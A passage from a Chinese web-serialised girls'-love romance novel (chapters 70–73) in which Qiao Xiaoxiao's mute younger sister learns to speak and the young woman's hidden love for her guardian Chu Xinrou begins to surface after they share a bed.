怎么追乔潇潇的女生比男生要多这么多? 也就说时代开放了,但是已经这么放得开了么? 杨绯棠抿着嘴,笑眯眯地点评:“你不知道,咱家潇潇这酷酷的劲儿啊,就是比较吸引女孩子,这是当下流行的叫什么来着?” 乔潇潇落下黑子,“御姐。” 杨绯棠:…… 潇潇看着楚心柔,温柔一笑:“姐姐,我赢了。” 楚心柔:…… 日子过的幸福,又云淡风轻。 当然,这中途,自然也有好事儿发生。 那是一个很平常的午后。 乔潇潇才刚跑完广东回家躺着跟楚心柔闲聊,正好说起了糯糯,“哎,都快三年了,还没见好。” 楚心柔安慰她,“会好的,再等等。” 她冲门边使了个眼色。 这是给潇潇准备的惊喜,下午,她们还彩排来着。 乔潇潇眼神发散,看着远方想:“如果糯糯能说话,叫姐姐……那一定是天下最动听优美的声音吧。” 她想着糯糯的小脸蛋,突然很想她。 就在这个时候,不远处传来声响。 “截截……” 乔潇潇愣了一下,她看着楚心柔问:“姐姐,你听见了吗?这是谁家鸭子叫?” 楚心柔:…… 破门而入给姐姐惊喜的糯糯:…… 【作者有话说】 是不是好久没二更了? 今天留言破八十,二更[坏笑] 70-80 71 第71章 (二更) ◎光着最好。◎ ——这是谁家鸭子叫? 楚心柔一脸的无奈,她对乔潇潇使了个眼色,潇潇扭头一看,在看见糯糯那一刻,她还以为自己出现幻觉了,揉了揉眼睛,这才三步并作两步,跑过去一把抱住糯糯,惊喜地问:“你什么时候来的?!” 糯糯的心啊,碎了一地,捡都捡不起来,她伸手很抗拒姐姐抱自己,还在那嘟嘟囔囔地抱怨:“说我是鸭……我是鸭……你就是大鸭……” 她长大了,个子高了不少。 要不是乔潇潇那一米七六的身高,一般人还真不好抱她了。 乔潇潇听到糯糯说话,激动的眼泪都流下来了,“糯糯,你能说话了?你真的能说话了?” 糯糯撇嘴,看着姐姐的眼泪,声音软了一些,“本鸭子进来了。” 这一声“姐姐”,天知道她练习了多久,居然被嫌弃成鸭子。 乔潇潇抱着糯糯在屋里转了一个圈,不停地跟她说这话,“你再叫一声姐姐。” “截截……” “是姐——姐——” “截截……” 糯糯虽然能出声了,但是毕竟失语太久,还需要反复练习。 但是老师对她的评价非常好,“糯糯这个孩子,情商特别高,来的这几年,把几个年级的小朋友,尤其是漂亮的,全都处成了好朋友。” 这给乔潇潇开心的。 她抱着糯糯怎么聊都不够,还直接去隔壁了。 琴房里,杨绯棠正皱着眉看一个节拍怎么都弹不好的学员,乔潇潇进来后,抓着糯糯的手,糯糯立即叫:“杨截截……” “哟,糯糯,你能——” “啪”的一声,门关上了。 杨绯棠的话还没说完,乔潇潇就又抱着糯糯去三中了,这可给她显摆坏了。 从小璐截截到王宁截截,再到小花截截…… 糯糯就像是个吉祥物一样,被乔潇潇反复展示,等晚上,一大一小回到家的时候。 乔潇潇看着楚心柔第一句就是:“截截,晚上咱不吃面条了,咱出去吃。” 楚心柔:…… 晚上饭吃的也挺热闹。 糯糯本来就是个外场的人,跟大家慢慢的说了说在学校的生活,顺便,拿出自己的手机,给乔潇潇看了看照片。 “这谁?” 乔潇潇看了照片上扎着麻花辫的混血小姑娘,“好漂亮啊。” 很像是拍广告的那种漂亮小混血,眼睛贼大,皮肤特别白。 杨绯棠和楚心柔都凑过来看了看,也都跟着感叹,“真漂亮啊,是好朋友吗?” 糯糯很缓慢地说着:“这似我女盆友。” 大家:…… 糯糯优雅地放下筷子,“下次……正式带给你们见见。” OMG。 这带给乔潇潇的震撼,可想而知。 有的人还在为了暗恋的痛苦兮兮的忍不住每天被窝里偷偷流泪。 有的屁孩子居然已经谈女朋友了? 晚上回家,乔潇潇按照老样子,想要给糯糯洗澡,糯糯却摇着头拒绝了,“我自己来。” 她想着是自己长大了,不用姐姐再这样“伺候”了,以后,姐姐也可以放心她了。 谁知道,乔潇潇失魂落魄的走到了沙发边,坐在了楚心柔身侧,将头靠在了她的肩膀上。 “怎么了?” 楚心柔关掉手里的电脑,侧头看着她。 乔潇潇怔怔地看着姐姐,问:“你说糯糯不让我给她洗澡了,难道……谈了女朋友,就不需要我了么?” 楚心柔:…… 她发现,潇潇可能是因为长期忙碌,在自己家人事儿上,特别“直”神经,那是一点都不打弯。 她笑了,戳了戳乔潇潇的鼻子,“糯糯都十几岁了,当然要自己洗澡了,你不能总把她当孩子啊?” 乔潇潇低着头,心里不是个滋味。 从小,她们姐妹相依为命习惯了,面对这样独立的糯糯,她空落落的。 楚心柔摸着她的头发,“好了,妹妹长大了没事儿的,我陪着你,嗯?” 乔潇潇将头蹭了蹭楚心柔的脖颈,点了点头。 糯糯出来的时候,就看见姐姐跟小狗一样跟楚心柔撒娇,她笑了笑,很熟练的走到以前乔潇潇学习的课桌前,拿出书本开始学习。 乔潇潇考上大学之后,这桌子,楚心柔也没有收。 总觉得那桌子在,就好像潇潇还在一样。 乔潇潇震惊的瞳孔地震了,“这还是我妹妹吗?” 她又是心酸又是欣慰的,起身,去糯糯身后观看。 她的妹妹,终于长大了,懂事儿了…… 楚心柔不过是进屋切了个西瓜的功夫,出来的时候,就听见乔潇潇暴跳如雷的声音:“小王是八根冰棍,八根,你为什么上面还是8,下面就是18了,你有没有心?!” 楚心柔:…… 糯糯这趟是属于“探亲假”的,时间不长,前后一共就只能待三天。 晚上,她缩在姐姐的被窝里,洗的香香软软的,跟乔潇潇聊天。 乔潇潇还是挺关心她的感情生活,先假模假样的聊了聊在学校吃的怎么样跟老师相处的怎么样成绩怎么样,之后,她图穷匕见,“你那个小女朋友,是怎么在一起的?” 糯糯抬起手,习惯性要比划手语,被乔潇潇一把按住了,“没事儿,慢慢说,我听着。” “是……她和我是……一个班的……她也是哑巴……不过,她的情况……比我好……去年就能说话了,我们是患难见真情……她陪着我来着……我、我感觉还行,主要是那么漂亮……看着开心。” “切。”乔潇潇乐了,“小屁孩,真肤浅。” 还看样貌呢? 糯糯看她这样,气鼓鼓的不乐意了,“你、你……要不是楚姐姐跟天仙似的,你能喜欢吗?” 乔潇潇听到“喜欢”二字心跳了一下,但是想着糯糯肯定没多想,随口说着:“她就是长成王二麻子,我也喜欢。” 她对姐姐的喜欢,哪里是基于样貌的? 糯糯也学着她“切”了一声,还是习惯性的用手比划。 ——下手那么慢。 王二麻子你也赶不上。 真的是应了那句话吃.屎都赶不上热乎的。 乔潇潇:???!!! 眼看着姐姐震惊的眼睛瞪得跟灯泡似的,糯糯忽闪着大眼睛看着她,很慢,却无比清晰地说着:“我是你妹妹。” 她的姐姐,她能不知道吗? 从小到大,就那么点的心思,除了学习,就是把家里那些家务做好,能够生*计不愁,不挨打。 糯糯什么时候看见乔潇潇对别人这样过了? 看见姐姐见到一个人就会眼睛发光发亮的,会无论她说什么,都跟着点头,会不自觉地跟着笑? 乔潇潇张着嘴消化了好半天,她低头看着糯糯:“你不歧视?” 杨姐姐还花好几天才消化的,糯糯能这么快接受? 糯糯很疑惑地看着姐姐,问:“为、为什么歧视?是歧视你不如楚姐姐漂亮吗?不如她温柔?讲题的时候总是河东狮吼吗?” 乔潇潇:…… 这就多少有点公报私仇的意思了。 不过,妹妹能答应,她心里不知道多开心。 难得今晚不用一个人在被窝里缩着畅想未来。 乔潇潇抱着糯糯,轻轻亲了亲她圆润的额头,眼里漾着温柔的笑意:“我在想啊,以后要是能和姐姐在一起,天南海北,无论她喜欢哪个城市,我们就去那里定居。” 她顿了顿,声音轻缓,像是已经在脑海中勾勒出那样的日子:“偶尔也带她回万柳村小住,让她听听雨声,看看山色,就像从前那样。” “她喜欢下雨天画画,我就煮茶给她,茶香混着雨气,一定很配。”她低头揉了揉糯糯的脑袋,笑意更深,“到时候,你也可以带着你的小女朋友来,我们一起喝茶聊天,好不好?” 糯糯用力地点了点头,她眨着水汪汪的大眼睛,先是给姐姐充分的肯定。 “好啊,姐姐。” 紧接着,又补充了一句。 “不会等我和我女盆友七老八十了,才能实现吧?” 乔潇潇:……!!! 我靠嘞。 这个小兔崽子。 相聚的日子总是短暂的。 虽然吵吵闹闹的,但是送糯糯要回学校的前一天,乔潇潇还是忍不住垂泪。 当天晚上,糯糯在床上又蹦又跳的,先把床板给踩坏了。 然后,她悄悄地拉着楚心柔的衣角说:“楚姐姐……我……我姐姐她比较脆弱……明天,别让她跟我去学校了,会泪洒当场的。” 楚心柔摸了摸她的脑袋,深感赞同:“我也这么想的,明天让你杨姐姐送你好不好?” 糯糯摇头,“凤依姐姐说要来送我。” 听到妹妹的名字,楚心柔沉默了片刻,她点了点头。 糯糯打量着楚姐姐的样子,半响,她小声说:“凤依姐姐……她过得还好……不像是前几年……那么累了。” 她知道,楚姐姐是关心她的。 楚心柔默默许久,轻轻的点头,摸了摸糯糯的头发,“你是个懂事的孩子。” 糯糯看着楚心柔,“姐姐,我把床板踩坏了,我怕姐姐晚上……晚上睡不好,你能陪她么?” 她才是个11岁的孩子。 她能有什么坏心思么? 楚心柔点了点头,“好。” 她还挺欣慰糯糯长大了,知道心疼自己姐姐了。 送糯糯出门的时候,乔潇潇还是眼泪撒了几公里的路,拉着糯糯的手,怎么都不放开。 楚心柔哄了半天,才撒开手,倒是糯糯小大人一样看着楚心柔:“楚姐姐……你、腻辛苦了。” 楚心柔失笑,“我不辛苦。” 乔潇潇用手背擦着泪,哽咽着问:“你什么意思啊?” 这小屁孩,怎么总是含沙射影似的? 糯糯叹了口气,她看了看她那没用的姐姐,又望着楚心柔问:“楚姐姐……我这样犹自、幼稚的姐姐,你不嫌弃吗?” 楚心柔笑的温柔:“不嫌弃。” 糯糯点头,她又看了看乔潇潇:“姐姐,你看楚姐姐都不嫌弃你,这难道不是因为爱吗?” 妹妹这一句话,别说鸡皮疙瘩了,乔潇潇头发丝都要竖起来了。 看乔潇潇已经当场吓麻爪了。 糯糯临危不乱,踩着乔潇潇的脚,看着楚心柔笑着问:“是吗?楚姐姐。” 楚心柔怎么会想那么多,她笑着点头,“是啊。” …… “小不点,走了。” 不远处,楚凤依的呼唤声传了过来。 二小姐真的是说话算数。 她说要把糯糯当成妹妹,就真的当成妹妹了。 这两年,她去看糯糯的次数,可不比乔潇潇少。 尤其是心烦的时候,楚凤依坐在糯糯的身边,听她说说学校的趣事儿,看看她怎么“泡妹”,心情就会一点点放松。 经过这一段时间的磨炼,二小姐也知道了姐姐的苦衷,知道集团的现状,注定她们没办法靠的太近。 她既然已经享受了现在的一切。 必然要承受这背后的代价。 眼看着妹妹离开了。 乔潇潇还在默默垂泪,想着过去和妹妹在村子里的过往,想着那个小小的人,如今也长大了,不需要再牵绊,又是欣慰,又是心酸的。 楚心柔看了看表,“时间不早了,该休息了,潇潇,糯糯说她把床板不小心踩坏了,今晚你得去我那屋睡。” 一句话,眼泪立马止住,乔潇潇的心一哆嗦,惊喜地看着楚心柔。 那目光,太过炙热,太过与平时不同。 楚心柔本能地偏开了头,心跳有几分不正常,“怎么?这么大了,还害羞?” 这几年,她们不是没有在一起睡过。 一般都是彼此生病的时候,会在旁边陪伴照顾着。 那时候的潇潇也不是现在这样的眼神啊。 “好,我收拾一下!” 过往的伤心事儿,对妹妹的舍不得,简直是一秒钟翻篇。 乔潇潇立即给她狗头杨军师发消息。 ——杨姐姐,我今晚要和姐姐在一个房间睡,我该穿什么衣服啊?! 是保守一点的睡衣呢?还是之前买的那套超短裤? 杨绯棠的消息回的飞快。 ——光着最好! 【作者有话说】 姐姐快知道了。 72 第72章 ◎那目光灼热得几乎要将她烫伤,带着赤.裸.裸的渴望与占有。◎ 乔潇潇这辈子的勇气,可能都用在姐姐身上了。 她洗了澡之后,就光着钻进了楚心柔的被窝。 “又不吹头发。”后进屋的楚心柔宠溺的摇头,目光落在床上那团隆起的被子上。被沿处只露出乔潇潇一双眼睛,在暖黄色的床头灯下闪烁着异样的光彩。 楚心柔没多想,走近床边,习惯性地伸手去掀被子,她们之间这样的互动太过寻常。 “潇潇?”她的手指触到被角时,忽然察觉到一丝异样。 被子下的身影轻微颤抖着,乔潇潇的脸以肉眼可见的速度红了起来,从额头一直蔓延到脖颈。 楚心柔困惑地歪了歪头,空调的冷风扫过她的后颈,带来一阵莫名的战栗。 “怎么了?是不是发烧了?”她下意识伸手去探乔潇潇的额头,却在接触到皮肤的瞬间被那异常的温度吓了一跳。 乔潇潇深吸一口气,像是下定了什么决心。她缓缓坐起身,被子顺着身体的曲线滑落。 楚心柔的呼吸停滞了。 月光从半开的窗帘缝隙中倾泻而入,为眼前的景象镀上一层银蓝色的光晕。 乔潇潇的身体完全暴露在空气中,如一块未经雕琢的羊脂玉,在昏暗的房间里散发着柔和的光泽。虽然她的脸因为在广东的户外工作晒成了健康的小麦色,但被衣物保护的身体却白皙得近乎透明,锁骨凹陷处投下浅浅的阴影,胸前的弧度随着呼吸微微起伏。 她们日常虽然亲密,但是这样的“赤城”相见还是第一次。 楚心柔的耳朵微微有些红,目光闪烁:“怎么不穿睡衣?” 乔潇潇假话张口就来,“就那么两件,都洗了……” “是么?” 楚心柔的语气明显有些飘,乔潇潇湿漉漉的眼神像一张网,紧紧地勾着姐姐。 楚心柔走到衣柜前,拿出自己的睡衣,递给乔潇潇,不看她的眼睛:“快穿上,别感冒了。” 乔潇潇:…… 看看睡衣,又看看姐姐。 乔潇潇做着最后的挣扎,“那你穿什么?” 楚心柔跟变魔术一样,又从衣柜里拿出一件乔潇潇的T恤,“我穿这个。” 乔潇潇现在比她高出八公分,楚心柔穿上她的短袖时,衣摆只堪堪遮到大腿根部。 楚心柔的手指刚搭上睡衣纽扣就停住了。她的指尖在纽扣上轻轻摩挲了两下,最终还是抱着衣服躲进了洗手间。 当浴室门关上的瞬间,乔潇潇立刻扑向姐姐的蕾丝睡衣。丝绸般顺滑的布料贴在肌肤上,带着楚心柔特有的淡淡茉莉香。她把脸深深埋进衣领,呼吸间全是姐姐的味道。 浴室门再次打开时,乔潇潇的呼吸随之一滞。同样的蕾丝睡衣,穿在楚心柔身上却呈现出截然不同的风情——过短的衣摆让那双修长的美腿若隐若现,不合身的领口微微敞开,露出精致的锁骨线条。 水珠顺着她湿润的发梢滑落,在灯光下闪着细碎的光。 乔潇潇不自觉地攥紧了袖口,喉咙发紧。 她知道,自己渴望的不只是这件睡衣上的气息,更是那个穿着睡衣的人。 吹头发的时候,楚心柔有些沉默,不知道是困了还是怎么的,乔潇潇是老样子,一被姐姐的气息包裹着,就昏昏沉沉的想睡觉。 等关了灯。 一室的馨香。 本来还心猿意马的乔潇潇打了个哈气,一转身,很熟练地缩进了楚心柔的怀里。 现在的楚心柔已经不能像是潇潇小时候一样,把她那样抱在怀里了,可潇潇还是习惯的蜷缩着长胳膊长腿,缩在楚心柔的怀里。 她很快就睡去了。 呼吸清浅。 楚心柔却久久难眠。 她盯着天花板愣神许久。 看乔潇潇睡熟了,她缓缓地起身,去了隔壁的房间。 潇潇的床板,的确是坏了,也不知道糯糯那孩子,哪儿来的那么大的劲儿。 楚心柔又打开衣柜,看了看潇潇的衣服,睡衣的确不再,她又去了一趟客厅,看着滴滴嗒嗒刚洗好的睡衣挂在上面。 潇潇是什么人,心思多么的细腻。 怎么会不防一手? 楚心柔看着那两件的确都洗了的睡衣,心底的那口气这才舒了出来,她折返回房间,又坐在床边,盯着睡熟的潇潇看了一会儿,摇头无奈的笑了。 她在想什么啊。 怎么会怀疑潇潇呢? 不过是女孩子家的害羞罢了,难不成她还能是故意的?她小时候也这样害羞,自己也没多想啊。 做完心理建设的楚心柔掀开被子,躺了进去,她才刚躺好,熟睡的潇潇就像是能够感知热源一样,一个转身,缩进了她的怀里。 楚心柔搂住了她,看着乔潇潇的睡颜,又想了想刚才看到她赤.裸身子的样子,脸有些热。 她的潇潇啊,真的长大了。 发育的那么好,那么漂亮呢。 第二天,乔潇潇一起来,就被蹭饭的杨绯棠拉倒角落里嘀嘀咕咕,“怎么样?” 乔潇潇睡得神清气爽,“什么怎么样?” 她在广东这几天,可能是想的事儿太多,也可能是太奔波了,怎么都睡不着。 昨晚在姐姐怀里,她睡得不知道多香,只是唯一遗憾的是晚上,她好像做噩梦了。 梦的具体情境,她记不清,只是隐约记得一双眼睛。 那是满是悲伤含着泪的眼睛,像极了楚心柔的,她就那么看着自己,没有说话,可内里的失望,却让潇潇读的的清清楚楚。 乔潇潇摇了摇头,一定是多想了。 杨绯棠可是过来人,一看乔潇潇这模样,知道又没有进展,她倒是也不急,“嗯,慢点就慢点吧,起码钻一个被窝了不是么?” 乔潇潇有点失落,“我看姐姐抱着我,跟小时候一样,一点波动都没有。” “那不是。” 杨绯棠抚着下巴,盯着在屋里磨咖啡的楚心柔,“我怎么总感觉她有点不对劲儿呢?” …… 潇潇因为今天要去工作室忙,吃了早饭,早早的就出去了。 杨绯棠凑近楚心柔,想聊聊天,可她才一抬头,楚心柔就没好气地说:“一回来,你们俩就跟那嘀嘀咕咕的,一天天不知道的还以为有什么重要情报线索需要你们交换。” 杨绯棠:…… 楚心柔:“你想问我什么?我现在什么都不会告诉你。” 杨绯棠:…… 楚心柔:“就你,现在和潇潇放个屁,都要分享一下什么味儿的,还想来我这儿套话?你赶紧走,别在这儿碍眼。” 被机关枪扫射般一句话都还没来得及说的杨绯棠:……??? 这一大早上,从哪儿吃炮火了? 杨绯棠被撵走了。 楚心柔独自坐在客厅的飘窗边,指尖无意识地摩挲着温热的咖啡杯。窗外,一片枯黄的梧桐叶打着旋儿落下,在风中划出几道犹豫的弧线。 她忽然想起从前读过的心理学——人的认知一旦产生裂痕,就像打碎的镜子,即便勉强拼凑,那些细小的缝隙也会永远存在。 楚心柔抿了一口咖啡,苦涩在舌尖蔓延。她分明还是坐在这个熟悉的客厅,喝着和往常一样的咖啡,可心里某个地方,已经被悄然植入了一颗种子。 “潇潇”这个名字在唇齿间辗转,带着说不清道不明的滋味。 楚心柔想起昨晚那双眼里闪烁的光——那绝不是她熟悉的、纯粹的依赖。 那目光灼热得几乎要将她烫伤,带着赤.裸.裸的渴望与占有。 楚心柔的手指不自觉地收紧,咖啡杯壁传来微烫的触感。 “怎么会” 她轻声自语,声音里带着几分难以置信。虽然感情经历空白,但二十八年的阅历让她不可能察觉不到这种变化。 只是这个念头太过荒谬,光是想想就让她觉得不可思议。 一点多的时候。 潇潇还跑回家了一趟。 她现在无论多么忙,主要是能回来都会尽量回来。 一进门,潇潇就看见楚心柔坐在沙发上发呆,愣了愣:“姐姐?” 听到呼唤,楚心柔偏头,看了看乔潇潇,潇潇还以为她怎么了,走了过来,摸了摸她的额头:“没生病吧?” 往常这个时候,楚心柔一般都会在画室里画画的。 楚心柔摇了摇头,看着潇潇明亮的眼睛。 ——对了,应该是这样的。 乔潇潇看姐姐没事儿,舒了口气,又看了看她桌上的咖啡杯,皱起了眉头:“姐姐,你又没吃中午饭。” 就对于楚心柔不爱吃饭这点。 乔潇潇是格外的“斤斤计较”。 明明是胃不好的人,怎么就这么不知道保养自己? 楚心柔怔怔地看着她的眼睛,“我不饿。” “不饿就不吃了?” 乔潇潇才懒得理她,洗了手就去厨房里了,很快,楚心柔就听见了锅碗瓢盆的声音。 一切,都是那么的窸窣平常。 并没有任何的改变。 所以,一定是她多心了是么? 在乔潇潇端上了地三鲜和锅包肉的时候,楚心柔的心态已经调整的很好了,她的脸上带了笑,“怎么最近迷上了做东北菜?” “嗨,还不是杨姐姐,看人家吃播,想吃了,我就学着做了,是好吃。” 乔潇潇擦了擦额头上的汗,“姐姐,你先吃,我洗个澡。” 她还是保持着运动的老习惯。 工作和学业太忙,潇潇就尽量规划时间,像是从工作室到家里,本来能坐车的,她直接跑回来了,出了一身的汗,再加上刚才做饭的油烟味,她可受不了。 楚心柔点头,起身,她走到衣架前,把昨天潇潇挂在上面的睡衣拿下来一件,折返,递给了乔潇潇。 乔潇潇抿了抿唇,姐姐怎么知道她晾在那了? 家里,除了客厅,潇潇很喜欢在书房晾衣服。 那的阳光最好了。 昨天晚上,是因为匆忙,她在晾在客厅里的。 但是…… 乔潇潇看了看姐姐的脸色,没察觉到有什么异常,她也没多想,进屋去洗澡了。 楚心柔看着桌上的菜,一点胃口都没有,就在那坐着干等着。 乔潇潇擦着湿漉漉的头发从浴室走出来,水珠顺着发梢滴落在她光洁的肩膀上。她一眼就注意到餐桌上丝毫未动的碗筷,眉头轻轻蹙起。 “姐姐。”她走近时带着沐浴后的温热气息,发间飘散着淡淡的茉莉香,她微微俯身,发梢的水珠滴在餐桌边缘,“是不是太累了?一整天都心不在焉的。” 楚心柔抬起头,视线猝不及防撞进乔潇潇关切的眼眸。她侧着头,未擦干的水痕顺着她修长的颈线滑落,在锁骨处积成一个小小的水洼。浴袍的领口因为俯身的动作微微敞开,露出一片雪白的肌肤,在灯光下泛着珍珠般的光泽。 楚心柔感觉脑袋就像是卡壳了一样,几乎不反应了。 乔潇潇见她不答话,干脆在她身旁蹲下。这个动作让她不得不仰视着楚心柔,湿漉漉的眼睛看着楚心柔,她伸手轻轻搭在姐姐的手背上,掌心的温度透过皮肤传来:“要是累了的话,今晚我帮你按摩好不好?” 楚心柔这才“嗯”了一声。 饭桌上,乔潇潇还是老样子,随便跟楚心柔聊着今天的见闻,“姐姐,我在我们学校里,看到了一个贵州那边罗嘎村出来的小姑娘,她可是真的厉害,说是父母双亡,自己在家里,支撑了这么久,她们村子连个像样的学校都没有,她大多靠着自学,就考到我们学校来了。” 楚心柔点头,感叹,“孩子不容易。” 乔潇潇点了点头,“嗯,我想帮帮她,可是她……比我那时候防备心还强,每天上课,眼神里都闪烁着惊慌和小心翼翼。” 楚心柔的目光变得柔和,她想了想说:“如果她不想要别人靠近,你就去做你自己的,让她看见后,或许,她会自己来靠近。” 是么? 乔潇潇想了想,突然对自己无语一样笑了笑,“姐姐,你说我是不是自不量力啊?” 明明自己才脱离了“贫困”,那么弱小的微光,却想着照亮别人? 楚心柔摇头,温柔地看着潇潇:“我们潇潇就是这样的人。” ——以我来时路,赠你沿途灯。 乔潇潇是最听楚心柔的话的,这几天回学校,也没再去把太多的心思放到那个叫佪莺的小姑娘身上了,而是继续忙着自己的事儿。 大学的课程,对潇潇来说几乎是小菜一碟。 她还保持着高中时的习惯,因为英语一直不大好,潇潇每天早上都会晨读,已经把两本厚厚的教材都背下来了。 因为离得近,偶尔的,小花和袁璐她们也会来找她。 刚开始,门卫都拦着,后来时间久了,门卫无奈地给潇潇打电话,潇潇过来的时候,会在小花的袋子里掏出几根冰棍给门卫大哥,让他给大家发发,都解解暑。 “我和你说了多少次了?舍不着孩子套不着狼,就几根冰棍公关一下你都舍不得?” 乔潇潇对小花这“抠搜”的习惯,真的时无可奈何。 小花撇嘴,“学校老师明明说大学校园对外开放,我可以进去的。” 袁璐笑嘻嘻地咬着冰棍,往里面看了看:“大姐,你说我们进去摆个摊行吗?” 乔潇潇的眼睛往里面也看了看,“行是行,但是天渐渐凉下来了,你们卖冰棍不合适,我看看啊,后天,学校有一场篮球比赛,你们弄点爆米花来卖。” 小花撇嘴,“那还得准备,宁姐现在看我们看的很严,不让我们随便搞副业了。” 王宁现在在青心简直是“工作狂魔”一样的存在,除了工作室意外的事儿,都被她打为“不务正业”的行列。 潇潇听了笑了,“那你们就偷偷的啊。” 或许是因为被楚心柔带大的孩子,她的骨子里一直是包容的,虽然是工作室的boss,可她非常鼓励百花齐放。 也是因为这种包容的性格。 之前,和她谈合作的酒店老板听她说资金困难,或许还需要几年的时间后,还挺遗憾的。潇潇也没有跟对方断了联系,时不时就过去看看,带点家里的土特产,或者看到什么新奇的东西就带过去,处久了,慢慢也就成了朋友,对方甚至还答应了潇潇,在酒店显著的位置,帮她推一下青心的招牌“一见倾心”红绳,刚开始,大家都不知道有卖的,销量惨淡,但是时间久了,居然也逐渐有了起色。 那几天晚上。 小花和袁璐就开始准备爆米花,她们刚开始想要买机器的,可楚心柔给的建议是不如直接进货。 先不说销量怎么样,那机器……按照现在青心的运转模式,这明显是两个小孩在搞副业娱乐,真需要赚爆米花的钱么? 袁璐深以为是,“嗯嗯嗯,是,楚姐姐,大姐说了,遇事不决听你的,绝对没问题。” 楚心柔看她提起潇潇来,笑了:“你大姐现在在学校是不是挺有人气?” 本来是闲聊的。 可袁璐那个孩子,脑筋不打转,心思都在爆米花上,“是有不少人喜欢她,但我们看她都不动心。” “是吧,小花?” 小花也点头,她翻看着周围的爆米花商铺,挑选着:“是啊,这么久了,从来没见过潇潇姐对谁动心,我们大家一致认为,她心里早就有喜欢的人了。” 是么? 楚心柔迟疑了一下,看向袁璐,袁璐看跟大姐朝夕相处的楚姐姐都是一头雾水,她神秘兮兮地伸出一只手,遮住嘴,八卦着:“我们都在想啊……以大姐的性格,无论是喜欢男的或者女的,告诉我们,我们都能接受啊,为什么一直遮遮掩掩,肯定是有什么秘密。” 小花也凑了过来,用力地点头,“后来,经过我们观察——” 她拉长音。 楚心柔立即凑过去,加入了八卦小分队。 小花认真的宣布,“她有可能喜欢的人是杨姐姐,所以才这么遮遮掩掩。” 【作者有话说】 杨姐姐:都是我默默承受了一切。 关键时刻了[撒花] 73 第73章 ◎发现。◎ ——她有可能喜欢的人是杨姐姐,所以才这么遮遮掩掩。 小花的话说的楚心柔直接愣在了原地,等一下,什么东西? 袁璐在旁边深以为是的点头,“可不是么?大姐平时多坦荡的一个人,喜欢一个人还这么藏着掖着的,肯定是有什么难言之隐。” 说着,袁璐和小花对视一眼,都在为自己的聪明而折服。 楚心柔在旁边自言自语着:“难言之隐……” 袁璐赶紧说:“是啊,楚姐姐,虽然……大姐这样不对,但是请你务必不要歧视她。” 俩人说着,一起齐刷刷地冲楚心柔弯了个腰。 楚心柔:…… 中午,杨绯棠拎着两袋小龙虾进来了,热闹地招呼着:“来来来,快来吃!” 这都是她亲手做的,最近,又到了杨姐姐一年三百六十天的减肥日期,她看网上说海鲜减肥,就一天天给自己做麻辣小龙虾。 她自己洗了手,戴上手套开干了。 楚心柔看了她一眼,“海鲜是减肥,但一次吃三斤的话,想必也不会减肥。” 杨绯棠一边扒壳,一边看了一眼楚心柔:“哟,这又是谁惹你生气了?” 楚心柔抱着胳膊,半眯着眼睛,语气透着一丝危险:“你猜猜。” 这是要考她? 这怎么会难得住聪明的杨姐姐呢? 她嚼着Q弹的虾肉,想了想说:“是不是潇潇又跟哪个大姐传出来绯闻,让你不开心了?” 一天天的除了这个,谁还能让冷漠如水的楚大小姐生气啊? 楚心柔冷哼一声,点了点头,由衷夸奖:“你可真聪明。” 杨绯棠腼腆地擦了擦嘴,“一般一般。”说着,她好奇地眨着大眼睛问:“这次是哪位大姐啊?” 现在小崽子那青春的气息吐露的越发迷人了,不知道迷倒了多少大姐呢! 楚心柔沉默了,她盯着杨绯棠不说话,杨绯棠在吃了三个小龙虾之后,还没见楚心柔开口,她愣住了,用手指了指自己,迟疑地问:“我这位大……姐吗?” 楚心柔坚定的点了点头。 杨绯棠:…… 天啊!地啊! 这都是什么世道啊! 她一个如此善良的人,怎么会被这样“诬陷”,苍天啊,窦娥冤啊!要下雪了!!! 楚心柔太了解杨绯棠了,一看她这震惊到整个面部五官都要碎掉的样子,眼神讳莫如深:“杨绯棠,你是不是有什么事儿瞒着我?” 杨绯棠立即低头吃虾,头上全是汗:“哪儿能啊哪儿能啊,咱哪儿敢瞒你啊。” 楚心柔盯着她,一双犀利的眼睛发光发亮:“你怎么流那么多汗?” 杨绯棠:“吃的辣的我。” “不是五香味的吗?” …… 当天,跑回家的杨绯棠吓得心脏突突的,一头扎在薛莜莜的怀里,不肯抬头。 正在远程办公的薛总愣了一下,她对着屏幕里西装革履目瞪口呆的几个部门经理:“抱歉,各位,先散会,我有些私人事情要处理。” 说着,她挂断了视频会议,低头,顺了顺毛。 “怎么了?” 什么事儿让她这么慌张,都没洗澡就一股子小龙虾味儿扎自己怀里了? 这让薛总有一种在抱着大虾的感觉,杨绯棠哆哆嗦嗦的后怕,“天啊,我感觉心柔好像发现了……她……她在质问我……” 薛莜莜沉思了片刻,问:“那你坚守秘密了么?” 杨绯棠抬头,铿锵地说:“那是自然的,我怎么能对不起崽子!哎呀,怎么办,我要不要跟崽子提前说一声啊。” 薛莜莜盯着她的眼睛:“你确定心柔是真的知道了么?” 确定? 杨绯棠摇头,她不能确定,只是凭借着多年的默契与女人的第六感,她总觉得楚心柔似乎是察觉到了,看她的眼睛跟警察似的。 薛莜莜又问:“你都慌张成这样,如果冒然告诉潇潇,她会怎么样?” …… 夜色深沉,乔潇潇拖着疲惫的身子回到家。她连说话的力气都没有,只是机械地换了衣服,洗了手,然后像只倦极的小猫般蜷进沙发,紧紧贴着姐姐坐下。 楚心柔的背脊挺得笔直,一下午的心事让她的肩膀都微微发僵。她看着潇潇像小时候那样,先是靠着她的肩膀,没过多久又滑下来,将脑袋枕在她的腿上。潇潇闭着眼睛,浓密的睫毛在眼下投下一片阴影。 “好累啊……”潇潇突然爆了句粗口,“真不想上这个B班了。” 楚心柔的手指轻轻一颤。这是她第一次听潇潇说脏话。她低下头,指尖温柔地梳理着她额前的碎发:“怎么了?” 乔潇潇依旧闭着眼,声音闷闷的:“看着同学们无忧无虑地享受大学生活,有时候真的……好羡慕。”她突然翻了个身,双手环住楚心柔的腰,温热的呼吸透过薄薄的衣料熨烫在肌肤上,“好想睡一天一夜……” 睡懒觉对乔潇潇来说,确实是种奢侈。楚心柔感受着腰间传来的温度,自从心里埋下怀疑的种子后,这样的亲密接触让她无法再像从前那样坦然,她不动声色地绷紧了腰线。 “我说过要劳逸结合。”楚心柔的声音比平时低了几分,“大学是人生难得的轻松时光,青心现在已经很稳定了,你也可以像其他同学那样……” 她顿了顿,指尖无意识地绕着潇潇的一缕头发,最终还是轻声说道:“……或者找个合适的同学,谈场恋爱。” “同龄人么,总是会更有共同话题。” 也不知道为什么。 她说这话的时候,心,会莫名的苦涩一下。 